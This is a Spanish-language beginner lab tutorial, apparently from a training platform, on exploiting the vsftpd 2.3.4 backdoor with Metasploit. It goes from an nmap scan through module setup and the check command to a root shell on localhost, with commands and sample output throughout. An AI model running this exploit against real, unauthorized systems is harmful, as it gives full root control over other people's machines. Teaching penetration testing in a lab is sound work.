Explotar un servicio vsftpd vulnerable en Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, asumirá el rol de un pentester y aprenderá a utilizar Metasploit Framework para explotar una vulnerabilidad conocida en un servicio común. Específicamente, se dirigirá a vsftpd (Very Secure FTP Daemon) versión 2.3.4, que contiene una famosa puerta trasera (backdoor).

Metasploit es un potente framework de pruebas de penetración de código abierto que simplifica el hacking. Es una herramienta esencial para los profesionales de la seguridad. Seguirá el proceso estándar de pruebas de penetración: escanear el objetivo para identificar servicios, encontrar un exploit adecuado, configurarlo y lanzar el ataque para obtener el control del sistema objetivo. Para este laboratorio, su máquina objetivo será el entorno local (localhost).

Identificar un servicio vsftpd vulnerable

En este paso, realizará reconocimiento, la primera fase de cualquier prueba de penetración. El objetivo es escanear el objetivo para descubrir puertos abiertos e identificar las versiones de los servicios que se ejecutan en ellos. Esta información es crucial para encontrar posibles vulnerabilidades. Utilizaremos nmap, una potente herramienta de escaneo de red, para este propósito.

Primero, abra una terminal. Escanearemos nuestra máquina local, que actúa como objetivo. La dirección IP de la máquina local es 127.0.0.1.

Ejecute el siguiente comando nmap para realizar un escaneo de versión de servicio (-sV) en el objetivo:

nmap -sV 127.0.0.1

Una vez completado el escaneo, nmap informará sobre los puertos abiertos y los servicios que ha identificado. Para este laboratorio, nos interesa el servicio FTP que se ejecuta en el puerto 21.

Su salida debería ser similar a esta. Observe la información de la versión del servicio FTP.

Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds

La salida muestra claramente que vsftpd 2.3.4 se está ejecutando en el puerto 21. Se sabe que esta versión específica contiene una puerta trasera (backdoor), lo que la convierte en un objetivo ideal para nuestro exploit.

Seleccionar el módulo de exploit vsftpd_234_backdoor

En este paso, iniciará Metasploit Framework y encontrará el módulo de exploit correcto para atacar el servicio vsftpd 2.3.4.

Primero, inicie la consola de Metasploit. Usamos la bandera -q (quiet) para omitir el banner y comenzar más rápido.

msfconsole -q

Una vez que Metasploit se cargue, verá el prompt msf6 >. Ahora, puede buscar exploits relacionados con vsftpd. Utilice el comando search:

search vsftpd

Metasploit mostrará una lista de módulos coincidentes. Debería ver un exploit específicamente para la puerta trasera (backdoor) en vsftpd 2.3.4.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                     normal     No     FTP Version Scanner

El módulo exploit/unix/ftp/vsftpd_234_backdoor es exactamente lo que necesitamos. Tiene una clasificación "excellent" (excelente), lo que significa que es muy confiable. Para cargar este módulo, use el comando use seguido del nombre completo del módulo o su número de los resultados de la búsqueda.

use exploit/unix/ftp/vsftpd_234_backdoor

Después de ejecutar el comando, su prompt cambiará a msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, lo que indica que el módulo de exploit está ahora activo.

Establecer la opción RHOSTS a la dirección IP del objetivo

En este paso, configurará el módulo de exploit. La mayoría de los módulos requieren que establezca opciones, como la dirección IP del objetivo.

Con el módulo vsftpd_234_backdoor cargado, puede ver sus opciones utilizando el comando show options.

show options

Este comando mostrará una tabla de todas las opciones disponibles para este módulo, su configuración actual y si son requeridas.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Como puede ver, RHOSTS (Remote Hosts) es requerido, pero no tiene ningún valor establecido. Necesita establecer esto a la dirección IP de nuestra máquina objetivo, que es 127.0.0.1.

Utilice el comando set para configurar la opción RHOSTS:

set RHOSTS 127.0.0.1

Para confirmar que la opción se estableció correctamente, puede ejecutar show options nuevamente. Verá que RHOSTS ahora tiene el valor 127.0.0.1.

Usar el comando check para verificar si el objetivo es vulnerable

En este paso, utilizará una forma segura de probar si el objetivo es realmente vulnerable al exploit seleccionado. Metasploit proporciona un comando check para muchos módulos, que le permite verificar la vulnerabilidad sin lanzar un ataque completo. Esto es útil para evitar la detección y las caídas del sistema.

Ahora que el módulo de exploit está configurado con la dirección IP del objetivo, simplemente ejecute el comando check:

check

Metasploit intentará sondear el servicio objetivo para determinar si la puerta trasera (backdoor) existe. Si el objetivo es vulnerable, verá un mensaje de confirmación.

[+] 127.0.0.1:21 - The target is vulnerable.

El mensaje [+] The target is vulnerable. confirma que el servicio vsftpd en 127.0.0.1 tiene la puerta trasera. Ahora está listo para lanzar el exploit. Si el objetivo no fuera vulnerable, normalmente informaría que el objetivo no es explotable.

Ejecutar el exploit y obtener un shell de comandos

En este paso, ejecutará el exploit para obtener acceso no autorizado al sistema objetivo. Dado que el comando check confirmó que el objetivo es vulnerable, el exploit debería tener éxito.

El comando para lanzar el ataque es exploit. También puede usar su alias, run.

exploit

Metasploit enviará ahora la carga útil maliciosa al servicio vsftpd. Se activará la puerta trasera (backdoor), abriendo un shell de comandos en un puerto diferente (el puerto 6200 en este caso). Metasploit se conectará a este nuevo shell, dándole acceso directo a la línea de comandos del objetivo.

La salida se verá así:

[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400

¡Ahora tiene un shell de comandos en la máquina objetivo! Observe que el prompt ha desaparecido. Ahora puede ejecutar comandos como si estuviera conectado directamente al objetivo. Verifiquemos nuestro nivel de acceso ejecutando el comando whoami.

whoami

La salida debería ser:

root

Esto confirma que ha obtenido un shell de root, lo que le otorga control total sobre el sistema objetivo. Para salir del shell y volver al prompt de Metasploit, escriba exit.

Resumen

¡Felicitaciones por completar con éxito este laboratorio! Ha aprendido el flujo de trabajo fundamental de una prueba de penetración utilizando el Metasploit Framework.

En este laboratorio, usted:

  1. Utilizó nmap para realizar reconocimiento e identificar un servicio vulnerable vsftpd 2.3.4.
  2. Inició la consola de Metasploit y buscó un exploit relevante.
  3. Seleccionó y configuró el módulo de exploit vsftpd_234_backdoor estableciendo la opción RHOSTS.
  4. Verificó de forma segura la vulnerabilidad del objetivo utilizando el comando check.
  5. Ejecutó el comando exploit para obtener un shell de comandos a nivel de root en el sistema objetivo.

Este ejercicio demuestra cómo una vulnerabilidad simple y sin parches puede llevar a un compromiso completo del sistema. Resalta la importancia de mantener el software actualizado y el poder de herramientas como Metasploit tanto para hackers éticos como para atacantes maliciosos.